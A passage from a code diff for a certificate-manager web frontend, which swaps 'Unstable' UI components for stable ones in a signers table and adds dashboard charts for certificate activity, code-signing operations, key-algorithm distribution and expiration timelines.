                             a={ProjectPermissionSub.CodeSigners}
                           >
                             {(isAllowed) => (
-                              <UnstableDropdownMenuItem
+                              <DropdownMenuItem
                                 isDisabled={!isAllowed}
                                 onClick={() => setEditSigner(signer)}
                               >
                                 <PencilIcon />
                                 Edit Signer
-                              </UnstableDropdownMenuItem>
+                              </DropdownMenuItem>
                             )}
                           </ProjectPermissionCan>
                           <ProjectPermissionCan
@@ -223,7 +218,7 @@ export const SignersTable = ({ projectId, onCreateSigner }: Props) => {
                             a={ProjectPermissionSub.CodeSigners}
                           >
                             {(isAllowed) => (
-                              <UnstableDropdownMenuItem
+                              <DropdownMenuItem
                                 isDisabled={!isAllowed}
                                 onClick={() =>
                                   updateSigner.mutateAsync({
@@ -246,7 +241,7 @@ export const SignersTable = ({ projectId, onCreateSigner }: Props) => {
                                     Enable Signer
                                   </>
                                 )}
-                              </UnstableDropdownMenuItem>
+                              </DropdownMenuItem>
                             )}
                           </ProjectPermissionCan>
                           <ProjectPermissionCan
@@ -254,31 +249,31 @@ export const SignersTable = ({ projectId, onCreateSigner }: Props) => {
                             a={ProjectPermissionSub.CodeSigners}
                           >
                             {(isAllowed) => (
-                              <UnstableDropdownMenuItem
+                              <DropdownMenuItem
                                 variant="danger"
                                 isDisabled={!isAllowed}
                                 onClick={() => setDeleteSignerId(signer.id)}
                               >
                                 Delete Signer
-                              </UnstableDropdownMenuItem>
+                              </DropdownMenuItem>
                             )}
                           </ProjectPermissionCan>
-                        </UnstableDropdownMenuContent>
-                      </UnstableDropdownMenu>
-                    </UnstableTableCell>
-                  </UnstableTableRow>
+                        </DropdownMenuContent>
+                      </DropdownMenu>
+                    </TableCell>
+                  </TableRow>
                 ))}
-            </UnstableTableBody>
-          </UnstableTable>
+            </TableBody>
+          </Table>
           {!isLoading && signers.length === 0 && (
-            <UnstableEmpty>
-              <UnstableEmptyHeader>
-                <UnstableEmptyTitle>No signers found</UnstableEmptyTitle>
-              </UnstableEmptyHeader>
-            </UnstableEmpty>
+            <Empty>
+              <EmptyHeader>
+                <EmptyTitle>No signers found</EmptyTitle>
+              </EmptyHeader>
+            </Empty>
           )}
           {Boolean(totalCount) && (
-            <UnstablePagination
+            <Pagination
               count={totalCount}
               page={page}
               perPage={perPage}
@@ -286,8 +281,8 @@ export const SignersTable = ({ projectId, onCreateSigner }: Props) => {
               onChangePerPage={setPerPage}
             />
           )}
-        </UnstableCardContent>
-      </UnstableCard>
+        </CardContent>
+      </Card>
       <DeleteActionModal
         isOpen={Boolean(deleteSignerId)}
         deleteKey="delete"
diff --git a/frontend/src/pages/cert-manager/DashboardPage/DashboardPage.tsx b/frontend/src/pages/cert-manager/DashboardPage/DashboardPage.tsx
new file mode 100644
index 00000000000..90b3c3abb5f
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/DashboardPage.tsx
@@ -0,0 +1,118 @@
+import { useCallback, useState } from "react";
+import { Helmet } from "react-helmet";
+import { useTranslation } from "react-i18next";
+import { useNavigate } from "@tanstack/react-router";
+
+import { ProjectPermissionCan } from "@app/components/permissions";
+import { PageHeader } from "@app/components/v2";
+import { PageLoader } from "@app/components/v3";
+import { useProject } from "@app/context";
+import {
+  ProjectPermissionCertificateActions,
+  ProjectPermissionSub
+} from "@app/context/ProjectPermissionContext/types";
+import {
+  useGetCertActivityTrend,
+  useGetCertDashboardStats,
+  useGetCertPqcTrend
+} from "@app/hooks/api/certificates";
+import { ProjectType } from "@app/hooks/api/projects/types";
+
+import {
+  ActivityTrend,
+  CodeSigningSection,
+  DistributionCharts,
+  ExpirationTimeline,
+  KpiCards,
+  PqcReadinessChart,
+  PqcTrend,
+  ValidityReadinessSection
+} from "./components";
+
+export const DashboardPage = () => {
+  const { t } = useTranslation();
+  const { currentProject } = useProject();
+  const navigate = useNavigate();
+  const [trendRange, setTrendRange] = useState("30d");
+  const [pqcTrendRange, setPqcTrendRange] = useState("30d");
+  const { data: stats, isPending: isStatsLoading } = useGetCertDashboardStats(
+    currentProject?.id || ""
+  );
+  const { data: trendData } = useGetCertActivityTrend(currentProject?.id || "", trendRange);
+  const { data: pqcTrendData } = useGetCertPqcTrend(currentProject?.id || "", pqcTrendRange);
+  const navigateToInventory = useCallback(
+    (filters: Record<string, string | undefined>) => {
+      navigate({
+        to: "/organizations/$orgId/projects/cert-manager/$projectId/policies",
+        params: {
+          orgId: currentProject?.orgId || "",
+          projectId: currentProject?.id || ""
+        },
+        // eslint-disable-next-line @typescript-eslint/no-explicit-any
+        search: { selectedTab: "certificates", ...filters } as any
+      });
+    },
+    [navigate, currentProject]
+  );
+  if (!currentProject) {
+    return <PageLoader />;
+  }
+  return (
+    <div className="h-full bg-bunker-800">
+      <Helmet>
+        <title>{t("common.head-title", { title: "Certificate Dashboard" })}</title>
+      </Helmet>
+      <div className="mx-auto flex flex-col bg-bunker-800 text-white">
+        <div className="mx-auto mb-6 w-full max-w-8xl">
+          <PageHeader
+            scope={ProjectType.CertificateManager}
+            title="Certificate Dashboard"
+            description="At-a-glance view of your certificate estate."
+          />
+          <ProjectPermissionCan
+            renderGuardBanner
+            I={ProjectPermissionCertificateActions.Read}
+            a={ProjectPermissionSub.Certificates}
+          >
+            {isStatsLoading || !stats ? (
+              <PageLoader />
+            ) : (
+              <div className="flex flex-col gap-6">
+                <KpiCards stats={stats} onNavigate={navigateToInventory} />
+                <div className="flex flex-wrap gap-4">
+                  <DistributionCharts stats={stats} onNavigate={navigateToInventory} />
+                  <ExpirationTimeline
+                    buckets={stats.expirationBuckets}
+                    onNavigate={navigateToInventory}
+                  />
+                </div>
+                <CodeSigningSection projectId={currentProject.id} />
+                <ActivityTrend
+                  data={trendData?.periods || []}
+                  currentRange={trendRange}
+                  onRangeChange={setTrendRange}
+                />
+                <ValidityReadinessSection stats={stats} />
+                {stats.totals.total > 0 && (
+                  <div className="flex flex-col gap-4">
+                    <h2 className="text-lg font-semibold text-foreground">
+                      Post-Quantum Readiness
+                    </h2>
+                    <div className="flex flex-wrap gap-4">
+                      <PqcReadinessChart stats={stats} onNavigate={navigateToInventory} />
+                      <PqcTrend
+                        data={pqcTrendData?.periods || []}
+                        currentRange={pqcTrendRange}
+                        onRangeChange={setPqcTrendRange}
+                      />
+                    </div>
+                  </div>
+                )}
+              </div>
+            )}
+          </ProjectPermissionCan>
+        </div>
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/DashboardPage/components/ActivityTrend.tsx b/frontend/src/pages/cert-manager/DashboardPage/components/ActivityTrend.tsx
new file mode 100644
index 00000000000..4425c11fbbe
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/components/ActivityTrend.tsx
@@ -0,0 +1,135 @@
+import {
+  CartesianGrid,
+  Legend,
+  Line,
+  LineChart,
+  ResponsiveContainer,
+  Tooltip,
+  XAxis,
+  YAxis
+} from "recharts";
+
+import {
+  Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyHeader,
+  EmptyTitle
+} from "@app/components/v3";
+import type { TActivityTrendPoint } from "@app/hooks/api/certificates";
+
+import { formatTickLabel, legendFormatter, nonZeroDot, TREND_COLORS } from "./chart-theme";
+
+type Props = {
+  data: TActivityTrendPoint[];
+  onRangeChange: (range: string) => void;
+  currentRange: string;
+};
+
+const SERIES_KEYS = ["issued", "expired", "revoked", "renewed"];
+
+const ranges = [
+  { label: "7D", value: "7d" },
+  { label: "30D", value: "30d" },
+  { label: "6M", value: "6m" }
+];
+
+export const ActivityTrend = ({ data, onRangeChange, currentRange }: Props) => {
+  const hasAnyData = data.some(
+    (d) => d.issued > 0 || d.expired > 0 || d.revoked > 0 || d.renewed > 0
+  );
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle>Certificate Activity Trend</CardTitle>
+        <CardAction>
+          <div className="flex gap-0.5">
+            {ranges.map((r) => (
+              <Button
+                key={r.value}
+                size="xs"
+                variant={currentRange === r.value ? "neutral" : "ghost"}
+                onClick={() => onRangeChange(r.value)}
+              >
+                {r.label}
+              </Button>
+            ))}
+          </div>
+        </CardAction>
+      </CardHeader>
+      <CardContent>
+        {!hasAnyData ? (
+          <Empty className="h-[250px]">
+            <EmptyHeader>
+              <EmptyTitle>No activity in this period</EmptyTitle>
+            </EmptyHeader>
+          </Empty>
+        ) : (
+          <ResponsiveContainer width="100%" height={250}>
+            <LineChart data={data} margin={{ top: 5, right: 20, bottom: 5, left: 0 }}>
+              <CartesianGrid strokeDasharray="3 3" stroke="var(--color-border)" />
+              <XAxis
+                dataKey="period"
+                tickFormatter={formatTickLabel}
+                tick={{ fill: "var(--color-muted)", fontSize: 12 }}
+                axisLine={{ stroke: "var(--color-border)" }}
+              />
+              <YAxis
+                tick={{ fill: "var(--color-muted)", fontSize: 12 }}
+                axisLine={{ stroke: "var(--color-border)" }}
+                allowDecimals={false}
+              />
+              <Tooltip
+                contentStyle={{
+                  backgroundColor: "var(--color-popover)",
+                  border: "1px solid var(--color-border)",
+                  borderRadius: "6px",
+                  color: "var(--color-foreground)"
+                }}
+              />
+              <Legend formatter={legendFormatter} />
+              <Line
+                type="monotone"
+                dataKey="issued"
+                stroke={TREND_COLORS.issued}
+                strokeWidth={2}
+                dot={nonZeroDot("issued", TREND_COLORS.issued, SERIES_KEYS)}
+                activeDot={{ r: 4 }}
+              />
+              <Line
+                type="monotone"
+                dataKey="expired"
+                stroke={TREND_COLORS.expired}
+                strokeWidth={2}
+                dot={nonZeroDot("expired", TREND_COLORS.expired, SERIES_KEYS)}
+                activeDot={{ r: 4 }}
+                strokeDasharray="4 2"
+              />
+              <Line
+                type="monotone"
+                dataKey="revoked"
+                stroke={TREND_COLORS.revoked}
+                strokeWidth={2}
+                dot={nonZeroDot("revoked", TREND_COLORS.revoked, SERIES_KEYS)}
+                activeDot={{ r: 4 }}
+                strokeDasharray="6 3"
+              />
+              <Line
+                type="monotone"
+                dataKey="renewed"
+                stroke={TREND_COLORS.renewed}
+                strokeWidth={2}
+                dot={nonZeroDot("renewed", TREND_COLORS.renewed, SERIES_KEYS)}
+                activeDot={{ r: 4 }}
+              />
+            </LineChart>
+          </ResponsiveContainer>
+        )}
+      </CardContent>
+    </Card>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/DashboardPage/components/CodeSigningSection.tsx b/frontend/src/pages/cert-manager/DashboardPage/components/CodeSigningSection.tsx
new file mode 100644
index 00000000000..02e1dea83dc
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/components/CodeSigningSection.tsx
@@ -0,0 +1,244 @@
+import { useMemo, useState } from "react";
+import { format } from "date-fns";
+import {
+  CartesianGrid,
+  Legend,
+  Line,
+  LineChart,
+  ResponsiveContainer,
+  Tooltip,
+  XAxis,
+  YAxis
+} from "recharts";
+
+import {
+  Button,
+  Card,
+  CardContent,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue
+} from "@app/components/v3";
+import {
+  SigningOperationStatus,
+  TSigningOperation,
+  useListSigners,
+  useListSigningOperations
+} from "@app/hooks/api/signers";
+
+import { formatTickLabel, legendFormatter, nonZeroDot, TREND_COLORS } from "./chart-theme";
+
+type Props = {
+  projectId: string;
+};
+
+const ALL_SIGNERS = "__all__";
+
+const ranges = [
+  { label: "7D", value: "7d", days: 7 },
+  { label: "30D", value: "30d", days: 30 },
+  { label: "6M", value: "6m", days: 180 }
+];
+
+const buildTrendData = (operations: TSigningOperation[], daysBack: number) => {
+  const useDaily = daysBack <= 30;
+  const formatKey = useDaily ? "yyyy-MM-dd" : "yyyy-MM";
+  const bucketMap = new Map<string, { success: number; failed: number }>();
+
+  operations.forEach((op) => {
+    const key = format(new Date(op.createdAt), formatKey);
+    const entry = bucketMap.get(key) || { success: 0, failed: 0 };
+    if (op.status === SigningOperationStatus.Success) {
+      entry.success += 1;
+    } else {
+      entry.failed += 1;
+    }
+    bucketMap.set(key, entry);
+  });
+
+  const now = new Date();
+  const cursor = new Date();
+  cursor.setDate(cursor.getDate() - daysBack);
+  cursor.setHours(0, 0, 0, 0);
+  if (!useDaily) cursor.setDate(1);
+
+  const result: { period: string; success: number; failed: number }[] = [];
+  while (cursor <= now) {
+    const key = format(cursor, formatKey);
+    const entry = bucketMap.get(key) || { success: 0, failed: 0 };
+    result.push({ period: key, ...entry });
+    if (useDaily) {
+      cursor.setDate(cursor.getDate() + 1);
+    } else {
+      cursor.setMonth(cursor.getMonth() + 1);
+    }
+  }
+  return result;
+};
+
+export const CodeSigningSection = ({ projectId }: Props) => {
+  const { data: signersData } = useListSigners({ projectId, limit: 100 });
+  const signers = signersData?.signers || [];
+
+  const [selectedSignerId, setSelectedSignerId] = useState<string>(ALL_SIGNERS);
+  const [currentRange, setCurrentRange] = useState("30d");
+  const activeDays = ranges.find((r) => r.value === currentRange)?.days || 30;
+
+  const signerIds = signers.map((s) => s.id);
+  const firstSignerId = signerIds[0] || "";
+  const secondSignerId = signerIds[1] || "";
+  const thirdSignerId = signerIds[2] || "";
+  const fourthSignerId = signerIds[3] || "";
+  const fifthSignerId = signerIds[4] || "";
+
+  const { data: ops1 } = useListSigningOperations({ signerId: firstSignerId, limit: 100 });
+  const { data: ops2 } = useListSigningOperations({ signerId: secondSignerId, limit: 100 });
+  const { data: ops3 } = useListSigningOperations({ signerId: thirdSignerId, limit: 100 });
+  const { data: ops4 } = useListSigningOperations({ signerId: fourthSignerId, limit: 100 });
+  const { data: ops5 } = useListSigningOperations({ signerId: fifthSignerId, limit: 100 });
+
+  const allOperationsMap = useMemo(() => {
+    const map = new Map<string, TSigningOperation[]>();
+    const queryResults = [
+      { id: firstSignerId, data: ops1 },
+      { id: secondSignerId, data: ops2 },
+      { id: thirdSignerId, data: ops3 },
+      { id: fourthSignerId, data: ops4 },
+      { id: fifthSignerId, data: ops5 }
+    ];
+    queryResults.forEach(({ id, data }) => {
+      if (id && data?.operations) {
+        map.set(id, data.operations);
+      }
+    });
+    return map;
+  }, [
+    firstSignerId,
+    secondSignerId,
+    thirdSignerId,
+    fourthSignerId,
+    fifthSignerId,
+    ops1,
+    ops2,
+    ops3,
+    ops4,
+    ops5
+  ]);
+
+  const filteredOperations = useMemo(() => {
+    let ops: TSigningOperation[];
+    if (selectedSignerId === ALL_SIGNERS) {
+      ops = Array.from(allOperationsMap.values()).flat();
+    } else {
+      ops = allOperationsMap.get(selectedSignerId) || [];
+    }
+    const cutoffDate = new Date();
+    cutoffDate.setDate(cutoffDate.getDate() - activeDays);
+    return ops
+      .filter((op) => new Date(op.createdAt) >= cutoffDate)
+      .sort((a, b) => new Date(b.createdAt).getTime() - new Date(a.createdAt).getTime());
+  }, [selectedSignerId, allOperationsMap, activeDays]);
+
+  const trendData = useMemo(
+    () => buildTrendData(filteredOperations, activeDays),
+    [filteredOperations, activeDays]
+  );
+
+  if (signers.length === 0) {
+    return null;
+  }
+
+  return (
+    <Card>
+      <CardHeader className="flex-row items-center gap-2">
+        <CardTitle className="text-sm">Code Signing Activity</CardTitle>
+        <div className="ml-auto flex items-center gap-2 pr-5">
+          <div className="flex gap-0.5">
+            {ranges.map((r) => (
+              <Button
+                key={r.value}
+                size="xs"
+                variant={currentRange === r.value ? "neutral" : "ghost"}
+                onClick={() => setCurrentRange(r.value)}
+              >
+                {r.label}
+              </Button>
+            ))}
+          </div>
+          <Select value={selectedSignerId} onValueChange={setSelectedSignerId}>
+            <SelectTrigger size="sm" className="w-[160px]">
+              <SelectValue placeholder="Select signer" />
+            </SelectTrigger>
+            <SelectContent>
+              <SelectItem value={ALL_SIGNERS}>All Signers</SelectItem>
+              {signers.map((s) => (
+                <SelectItem key={s.id} value={s.id}>
+                  {s.name}
+                </SelectItem>
+              ))}
+            </SelectContent>
+          </Select>
+        </div>
+      </CardHeader>
+      <CardContent>
+        {trendData.length === 0 ? (
+          <Empty className="h-[250px]">
+            <EmptyHeader>
+              <EmptyTitle>No signing operations yet</EmptyTitle>
+            </EmptyHeader>
+          </Empty>
+        ) : (
+          <ResponsiveContainer width="100%" height={250}>
+            <LineChart data={trendData} margin={{ top: 5, right: 20, bottom: 5, left: 0 }}>
+              <CartesianGrid strokeDasharray="3 3" stroke="var(--color-border)" />
+              <XAxis
+                dataKey="period"
+                tickFormatter={formatTickLabel}
+                tick={{ fill: "var(--color-muted)", fontSize: 12 }}
+                axisLine={{ stroke: "var(--color-border)" }}
+              />
+              <YAxis
+                tick={{ fill: "var(--color-muted)", fontSize: 12 }}
+                axisLine={{ stroke: "var(--color-border)" }}
+                allowDecimals={false}
+              />
+              <Tooltip
+                contentStyle={{
+                  backgroundColor: "var(--color-popover)",
+                  border: "1px solid var(--color-border)",
+                  borderRadius: "6px",
+                  color: "var(--color-foreground)"
+                }}
+              />
+              <Legend formatter={legendFormatter} />
+              <Line
+                type="monotone"
+                dataKey="success"
+                stroke={TREND_COLORS.renewed}
+                strokeWidth={2}
+                dot={nonZeroDot("success", TREND_COLORS.renewed)}
+                activeDot={{ r: 4 }}
+              />
+              <Line
+                type="monotone"
+                dataKey="failed"
+                stroke={TREND_COLORS.expired}
+                strokeWidth={2}
+                dot={nonZeroDot("failed", TREND_COLORS.expired)}
+                activeDot={{ r: 4 }}
+                strokeDasharray="4 2"
+              />
+            </LineChart>
+          </ResponsiveContainer>
+        )}
+      </CardContent>
+    </Card>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/DashboardPage/components/DistributionCharts.tsx b/frontend/src/pages/cert-manager/DashboardPage/components/DistributionCharts.tsx
new file mode 100644
index 00000000000..8c22dfa1d61
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/components/DistributionCharts.tsx
@@ -0,0 +1,210 @@
+import { Cell, Pie, PieChart, ResponsiveContainer, Tooltip as RechartsTooltip } from "recharts";
+
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
+import type { TDashboardDistribution, TDashboardStats } from "@app/hooks/api/certificates";
+import { certKeyAlgorithmToNameMap } from "@app/hooks/api/certificates/constants";
+
+import { CHART_COLORS, CHART_COLORS_HEX } from "./chart-theme";
+
+type Props = {
+  stats: TDashboardStats;
+  onNavigate: (filters: Record<string, string | undefined>) => void;
+};
+
+type ChartKey = "enrollmentMethod" | "algorithm" | "ca";
+
+const DonutChart = ({
+  title,
+  subtitle,
+  data,
+  chartKey,
+  onSegmentClick
+}: {
+  title: string;
+  subtitle?: string;
+  data: TDashboardDistribution[];
+  chartKey: ChartKey;
+  onSegmentClick?: (entry: TDashboardDistribution) => void;
+}) => {
+  const nonZeroData = data.filter((d) => d.count > 0);
+  const total = data.reduce((sum, d) => sum + d.count, 0);
+  const chartId = title.replace(/\s+/g, "-").toLowerCase();
+  const formatLabel = (label: string) => {
+    if (chartKey === "algorithm") {
+      return (
+        (certKeyAlgorithmToNameMap as Record<string, string>)[label] ?? label.replace(/_/g, " ")
+      );
+    }
+    if (chartKey === "enrollmentMethod") return label.toUpperCase();
+    return label;
+  };
+
+  return (
+    <Card className="flex h-auto min-w-[250px] flex-1 flex-col">
+      <CardHeader className="pb-0">
+        <CardTitle className="text-base font-semibold">{title}</CardTitle>
+        {subtitle && <CardDescription className="text-xs">{subtitle}</CardDescription>}
+      </CardHeader>
+      <CardContent className="flex flex-1 items-center pt-2">
+        {nonZeroData.length === 0 ? (
+          <Empty className="h-[200px]">
+            <EmptyHeader>
+              <EmptyTitle>No data available</EmptyTitle>
+            </EmptyHeader>
+          </Empty>
+        ) : (
+          <div className="flex w-full items-center gap-3">
+            <div className="w-[120px] shrink-0">
+              <ResponsiveContainer width="100%" height={120}>
+                <PieChart>
+                  <defs>
+                    {nonZeroData.map((entry, idx) => {
+                      const hex = CHART_COLORS_HEX[idx % CHART_COLORS_HEX.length];
+                      return (
+                        <linearGradient
+                          key={`grad-${entry.label}`}
+                          id={`grad-${chartId}-${idx}`}
+                          x1="0"
+                          y1="0"
+                          x2="1"
+                          y2="1"
+                        >
+                          <stop offset="0%" stopColor={hex} stopOpacity={1} />
+                          <stop offset="100%" stopColor={hex} stopOpacity={0.6} />
+                        </linearGradient>
+                      );
+                    })}
+                  </defs>
+                  <Pie
+                    data={nonZeroData}
+                    dataKey="count"
+                    nameKey="label"
+                    cx="50%"
+                    cy="50%"
+                    innerRadius={32}
+                    outerRadius={52}
+                    paddingAngle={2}
+                    cursor="pointer"
+                    stroke="none"
+                    onClick={(_entry, idx) => onSegmentClick?.(nonZeroData[idx])}
+                  >
+                    {nonZeroData.map((entry, idx) => (
+                      <Cell key={entry.label} fill={`url(#grad-${chartId}-${idx})`} />
+                    ))}
+                  </Pie>
+                  <RechartsTooltip
+                    contentStyle={{
+                      backgroundColor: "var(--color-popover)",
+                      border: "1px solid var(--color-border)",
+                      borderRadius: "6px",
+                      color: "var(--color-foreground)"
+                    }}
+                  />
+                </PieChart>
+              </ResponsiveContainer>
+            </div>
+            <div className="min-w-0 flex-1">
+              <div className="space-y-1.5">
+                {nonZeroData.map((entry, idx) => {
+                  const pct = total > 0 ? Math.round((entry.count / total) * 100) : 0;
+                  return (
+                    <button
+                      key={entry.label}
+                      type="button"
+                      className="flex w-full cursor-pointer items-center gap-2 rounded px-1 py-0.5 text-xs transition-colors hover:bg-foreground/5"
+                      onClick={() => onSegmentClick?.(entry)}
+                    >
+                      <span
+                        className="h-2.5 w-2.5 shrink-0 rounded-full"
+                        style={{ backgroundColor: CHART_COLORS[idx % CHART_COLORS.length] }}
+                      />
+                      <Tooltip>
+                        <TooltipTrigger asChild>
+                          <span className="min-w-0 flex-1 truncate text-left text-foreground">
+                            {formatLabel(entry.label)}
+                          </span>
+                        </TooltipTrigger>
+                        <TooltipContent side="top">{formatLabel(entry.label)}</TooltipContent>
+                      </Tooltip>
+                      <span className="shrink-0 text-right text-muted">{pct}%</span>
+                      <span className="shrink-0 text-right font-medium text-foreground">
+                        {entry.count}
+                      </span>
+                    </button>
+                  );
+                })}
+              </div>
+              <div className="mt-2 flex items-center border-t border-border px-1 pt-2 text-xs">
+                <span className="flex-1 font-medium text-foreground">Total</span>
+                <span className="shrink-0 text-right font-semibold text-foreground">{total}</span>
+              </div>
+            </div>
+          </div>
+        )}
+      </CardContent>
+    </Card>
+  );
+};
+
+export const DistributionCharts = ({ stats, onNavigate }: Props) => {
+  const charts: {
+    title: string;
+    subtitle?: string;
+    chartKey: ChartKey;
+    data: TDashboardDistribution[];
+  }[] = [
+    {
+      title: "By Enrollment Method",
+      subtitle: "Distribution by enrollment type",
+      chartKey: "enrollmentMethod",
+      data: stats.distributions.byEnrollmentMethod
+    },
+    {
+      title: "By Algorithm",
+      subtitle: "Distribution by key algorithm",
+      chartKey: "algorithm",
+      data: stats.distributions.byAlgorithm
+    },
+    {
+      title: "By Issuing CA",
+      subtitle: "Distribution by certificate authority",
+      chartKey: "ca",
+      data: stats.distributions.byCA
+    }
+  ];
+
+  return (
+    <>
+      {charts.map((chart) => (
+        <DonutChart
+          key={chart.chartKey}
+          title={chart.title}
+          subtitle={chart.subtitle}
+          chartKey={chart.chartKey}
+          data={chart.data}
+          onSegmentClick={(entry) => {
+            if (chart.chartKey === "enrollmentMethod") {
+              onNavigate({ filterEnrollmentType: entry.label });
+            } else if (chart.chartKey === "algorithm") {
+              onNavigate({ filterKeyAlgorithm: entry.label });
+            } else if (chart.chartKey === "ca" && entry.id) {
+              onNavigate({ filterCaId: entry.id });
+            }
+          }}
+        />
+      ))}
+    </>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/DashboardPage/components/ExpirationTimeline.tsx b/frontend/src/pages/cert-manager/DashboardPage/components/ExpirationTimeline.tsx
new file mode 100644
index 00000000000..b696913ac3b
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/components/ExpirationTimeline.tsx
@@ -0,0 +1,176 @@
+import { useMemo } from "react";
+import { Cell, Pie, PieChart, ResponsiveContainer, Tooltip as RechartsTooltip } from "recharts";
+
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Empty,
+  EmptyHeader,
+  EmptyTitle,
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
+} from "@app/components/v3";
+import type { TExpirationBucket } from "@app/hooks/api/certificates";
+
+import { CHART_COLORS, CHART_COLORS_HEX } from "./chart-theme";
+
+type Props = {
+  buckets: TExpirationBucket[];
+  onNavigate: (filters: Record<string, string | undefined>) => void;
+};
+
+const DONUT_SEGMENTS = [
+  {
+    label: "< 7 days",
+    sourceBuckets: ["expired", "0-7d"],
+    filter: { filterExpiresDays: "7" }
+  },
+  {
+    label: "7-30 days",
+    sourceBuckets: ["8-30d"],
+    filter: { filterExpiresAfterDays: "7", filterExpiresDays: "30" }
+  },
+  {
+    label: "> 30 days",
+    sourceBuckets: ["31-60d", "61-90d", "90d+"],
+    filter: { filterExpiresAfterDays: "30" }
+  }
+];
+
+export const ExpirationTimeline = ({ buckets, onNavigate }: Props) => {
+  const bucketMap = useMemo(() => {
+    const map = new Map<string, number>();
+    buckets.forEach((b) => map.set(b.bucket, b.count));
+    return map;
+  }, [buckets]);
+
+  const chartData = useMemo(
+    () =>
+      DONUT_SEGMENTS.map((seg, idx) => ({
+        label: seg.label,
+        count: seg.sourceBuckets.reduce((sum, key) => sum + (bucketMap.get(key) || 0), 0),
+        color: CHART_COLORS[idx % CHART_COLORS.length],
+        segIdx: idx,
+        filter: seg.filter
+      })),
+    [bucketMap]
+  );
+
+  const nonZeroData = chartData.filter((d) => d.count > 0);
+  const total = chartData.reduce((sum, d) => sum + d.count, 0);
+
+  return (
+    <Card className="flex h-auto min-w-[250px] flex-1 flex-col">
+      <CardHeader className="pb-0">
+        <CardTitle className="text-base font-semibold">Expiration Timeline</CardTitle>
+        <CardDescription className="text-xs">Certificates by time to expiry</CardDescription>
+      </CardHeader>
+      <CardContent className="flex flex-1 items-center pt-2">
+        {nonZeroData.length === 0 ? (
+          <Empty className="h-[200px]">
+            <EmptyHeader>
+              <EmptyTitle>No expiration data</EmptyTitle>
+            </EmptyHeader>
+          </Empty>
+        ) : (
+          <div className="flex w-full items-center gap-3">
+            <div className="w-[120px] shrink-0">
+              <ResponsiveContainer width="100%" height={120}>
+                <PieChart>
+                  <defs>
+                    {nonZeroData.map((item) => {
+                      const hex = CHART_COLORS_HEX[item.segIdx % CHART_COLORS_HEX.length];
+                      return (
+                        <linearGradient
+                          key={`grad-exp-${item.label}`}
+                          id={`grad-exp-${item.segIdx}`}
+                          x1="0"
+                          y1="0"
+                          x2="1"
+                          y2="1"
+                        >
+                          <stop offset="0%" stopColor={hex} stopOpacity={1} />
+                          <stop offset="100%" stopColor={hex} stopOpacity={0.6} />
+                        </linearGradient>
+                      );
+                    })}
+                  </defs>
+                  <Pie
+                    data={nonZeroData}
+                    dataKey="count"
+                    nameKey="label"
+                    cx="50%"
+                    cy="50%"
+                    innerRadius={32}
+                    outerRadius={52}
+                    paddingAngle={2}
+                    cursor="pointer"
+                    stroke="none"
+                    onClick={(_entry, idx) => {
+                      const item = nonZeroData[idx];
+                      if (item.filter) onNavigate(item.filter);
+                    }}
+                  >
+                    {nonZeroData.map((item) => (
+                      <Cell key={item.label} fill={`url(#grad-exp-${item.segIdx})`} />
+                    ))}
+                  </Pie>
+                  <RechartsTooltip
+                    contentStyle={{
+                      backgroundColor: "var(--color-popover)",
+                      border: "1px solid var(--color-border)",
+                      borderRadius: "6px",
+                      color: "var(--color-foreground)"
+                    }}
+                  />
+                </PieChart>
+              </ResponsiveContainer>
+            </div>
+            <div className="min-w-0 flex-1">
+              <div className="space-y-1.5">
+                {chartData.map((item, idx) => {
+                  const pct = total > 0 ? Math.round((item.count / total) * 100) : 0;
+                  return (
+                    <button
+                      key={item.label}
+                      type="button"
+                      className="flex w-full cursor-pointer items-center gap-2 rounded px-1 py-0.5 text-xs transition-colors hover:bg-foreground/5"
+                      onClick={() => {
+                        if (item.filter) onNavigate(item.filter);
+                      }}
+                    >
+                      <span
+                        className="h-2.5 w-2.5 shrink-0 rounded-full"
+                        style={{ backgroundColor: CHART_COLORS[idx % CHART_COLORS.length] }}
+                      />
+                      <Tooltip>
+                        <TooltipTrigger asChild>
+                          <span className="min-w-0 flex-1 truncate text-left text-foreground">
+                            {item.label}
+                          </span>
+                        </TooltipTrigger>
+                        <TooltipContent side="top">{item.label}</TooltipContent>
+                      </Tooltip>
+                      <span className="shrink-0 text-right text-muted">{pct}%</span>
+                      <span className="shrink-0 text-right font-medium text-foreground">
+                        {item.count}
+                      </span>
+                    </button>
+                  );
+                })}
+              </div>
+              <div className="mt-2 flex items-center border-t border-border px-1 pt-2 text-xs">
+                <span className="flex-1 font-medium text-foreground">Total</span>
+                <span className="shrink-0 text-right font-semibold text-foreground">{total}</span>
+              </div>
+            </div>
+          </div>
+        )}
+      </CardContent>
+    </Card>
+  );
+};
diff --git a/frontend/src/pages/cert-manager/DashboardPage/components/KpiCards.tsx b/frontend/src/pages/cert-manager/DashboardPage/components/KpiCards.tsx
new file mode 100644
index 00000000000..20b0bafd129
--- /dev/null
+++ b/frontend/src/pages/cert-manager/DashboardPage/components/KpiCards.tsx
@@ -0,0 +1,133 @@
+import { AlertTriangle, FileCheck, FileClock, FileKey, FileX } from "lucide-react";
+
+import { Badge, Card, CardContent } from "@app/components/v3";
+import type { TDashboardStats } from "@app/hooks/api/certificates";
+
+type Props = {
+  stats: TDashboardStats;
+  onNavigate: (filters: Record<string, string | undefined>) => void;
+};
+
+const cards = [
+  {
+    key: "total" as const,
+    label: "Total Certificates",
